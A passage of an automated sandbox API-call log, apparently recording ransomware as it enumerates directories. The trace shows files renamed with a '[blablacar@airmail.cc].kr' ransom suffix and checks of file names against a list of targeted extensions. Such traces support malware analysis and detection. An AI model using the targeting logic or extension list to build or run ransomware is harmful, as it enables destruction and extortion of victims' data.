ftCreationTime.dwLowDateTime=0xc89fcc25, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89fcc25, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc8a22da3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SYSREQ~2.KR")) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc89d68a9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89d68a9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc89d68a9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WARNIC~1.KR")) returned 1 [0175.360] FindNextFileW (in: hFindFile=0x4420d20, lpFindFileData=0x34ff800 | out: lpFindFileData=0x34ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc89d68a9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc89d68a9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc89d68a9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WARNIC~1.KR")) returned 0 [0175.360] FindClose (in: hFindFile=0x4420d20 | out: hFindFile=0x4420d20) returned 1 [0175.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cc0080 | out: hHeap=0x420000) returned 1 [0175.361] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b62410, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b62410, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7b62410, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="HEADER~1.KR")) returned 1 [0175.361] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xcb7f4f43, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~1.KR")) returned 1 [0175.361] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xca0106e9, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~2.KR")) returned 1 [0175.361] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc8ae1a9a, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc8ae1a9a, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc9123cce, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~3.KR")) returned 1 [0175.362] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xcc19ee3e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NETFX_~4.KR")) returned 1 [0175.362] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc9634bb7, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc9634bb7, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc9d11d63, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NE2DFC~1.KR")) returned 1 [0175.362] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca0106e9, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca0106e9, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca03506c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="NE34C9~1.KR")) returned 1 [0175.362] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7b8869c, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7b8869c, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7f4224d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARAME~1.KR")) returned 1 [0175.362] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca06ba52, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca06ba52, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca085515, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RGB9RA~1.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca0b1175, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca0b1175, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca0b99e0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="RGB9RA~2.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca7484f5, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca7484f5, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca7484f5, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPE~2.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca499bbe, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca499bbe, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xca9aab00, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPE~1.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xca7949e1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xca7949e1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcaa4392e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPU~2.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c00022, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c00022, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c00022, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPU~1.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xcaa6c612, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xcaa6c612, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcae196f1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SETUPU~3.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7c24893, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7c24893, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7c24893, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SPLASH~1.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xcada6cfe, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xcada6cfe, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcadcd310, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="SQMAPI~1.KR")) returned 1 [0175.363] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7cdfd02, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7cdfd02, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d05eed, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="STRING~1.KR")) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7d05eed, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d05eed, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d05eed, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="UIINFO~1.KR")) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc7d2df57, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc7d2df57, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7fb493b, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WATERM~1.KR")) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xccb748e0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~2.KR")) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xcc19ee3e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~1.KR")) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xcd0131e1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~3.KR")) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcd7f8ff3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~4.KR")) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a300, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xcd7f8ff3, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="WINDOW~4.KR")) returned 0 [0175.364] FindClose (in: hFindFile=0x43a300 | out: hFindFile=0x43a300) returned 1 [0175.364] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0175.364] FindNextFileW (in: hFindFile=0x43a2c0, lpFindFileData=0x34ffcf8 | out: lpFindFileData=0x34ffcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77580000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0175.365] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3cb0078 [0175.365] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x44209a0 [0175.366] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc7d52706, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc7d52706, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0175.366] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0175.366] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0175.366] lstrlenW (lpString="BCD.LOG") returned 7 [0175.366] lstrlenW (lpString=".1cd") returned 4 [0175.366] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".3ds") returned 4 [0175.367] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".3fr") returned 4 [0175.367] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".3g2") returned 4 [0175.367] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".3gp") returned 4 [0175.367] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".7z") returned 3 [0175.367] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0175.367] lstrlenW (lpString=".accda") returned 6 [0175.367] lstrcmpiW (lpString1=".accda", lpString2="CD.LOG") returned -1 [0175.367] lstrlenW (lpString=".accdb") returned 6 [0175.367] lstrcmpiW (lpString1=".accdb", lpString2="CD.LOG") returned -1 [0175.367] lstrlenW (lpString=".accdc") returned 6 [0175.367] lstrcmpiW (lpString1=".accdc", lpString2="CD.LOG") returned -1 [0175.367] lstrlenW (lpString=".accde") returned 6 [0175.367] lstrcmpiW (lpString1=".accde", lpString2="CD.LOG") returned -1 [0175.367] lstrlenW (lpString=".accdt") returned 6 [0175.367] lstrcmpiW (lpString1=".accdt", lpString2="CD.LOG") returned -1 [0175.367] lstrlenW (lpString=".accdw") returned 6 [0175.367] lstrcmpiW (lpString1=".accdw", lpString2="CD.LOG") returned -1 [0175.367] lstrlenW (lpString=".adb") returned 4 [0175.367] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".adp") returned 4 [0175.367] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".ai") returned 3 [0175.367] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1 [0175.367] lstrlenW (lpString=".ai3") returned 4 [0175.367] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".ai4") returned 4 [0175.367] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1 [0175.367] lstrlenW (lpString=".ai5") returned 4 [0175.368] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".ai6") returned 4 [0175.368] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".ai7") returned 4 [0175.368] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".ai8") returned 4 [0175.368] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".anim") returned 5 [0175.368] lstrcmpiW (lpString1=".anim", lpString2="D.LOG") returned -1 [0175.368] lstrlenW (lpString=".arw") returned 4 [0175.368] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".as") returned 3 [0175.368] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1 [0175.368] lstrlenW (lpString=".asa") returned 4 [0175.368] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".asc") returned 4 [0175.368] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".ascx") returned 5 [0175.368] lstrcmpiW (lpString1=".ascx", lpString2="D.LOG") returned -1 [0175.368] lstrlenW (lpString=".asm") returned 4 [0175.368] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".asmx") returned 5 [0175.368] lstrcmpiW (lpString1=".asmx", lpString2="D.LOG") returned -1 [0175.368] lstrlenW (lpString=".asp") returned 4 [0175.368] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".aspx") returned 5 [0175.368] lstrcmpiW (lpString1=".aspx", lpString2="D.LOG") returned -1 [0175.368] lstrlenW (lpString=".asr") returned 4 [0175.368] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".asx") returned 4 [0175.368] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".avi") returned 4 [0175.368] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1 [0175.368] lstrlenW (lpString=".avs") returned 4 [0175.369] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".backup") returned 7 [0175.369] lstrcmpiW (lpString1=".backup", lpString2="BCD.LOG") returned -1 [0175.369] lstrlenW (lpString=".bak") returned 4 [0175.369] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".bay") returned 4 [0175.369] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".bd") returned 3 [0175.369] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1 [0175.369] lstrlenW (lpString=".bin") returned 4 [0175.369] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".bmp") returned 4 [0175.369] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".bz2") returned 4 [0175.369] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".c") returned 2 [0175.369] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1 [0175.369] lstrlenW (lpString=".cdr") returned 4 [0175.369] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".cer") returned 4 [0175.369] lstrcmpiW (lpString1=".cer", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".cf") returned 3 [0175.369] lstrcmpiW (lpString1=".cf", lpString2="LOG") returned -1 [0175.369] lstrlenW (lpString=".cfc") returned 4 [0175.369] lstrcmpiW (lpString1=".cfc", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".cfm") returned 4 [0175.369] lstrcmpiW (lpString1=".cfm", lpString2=".LOG") returned -1 [0175.369] lstrlenW (lpString=".cfml") returned 5 [0175.369] 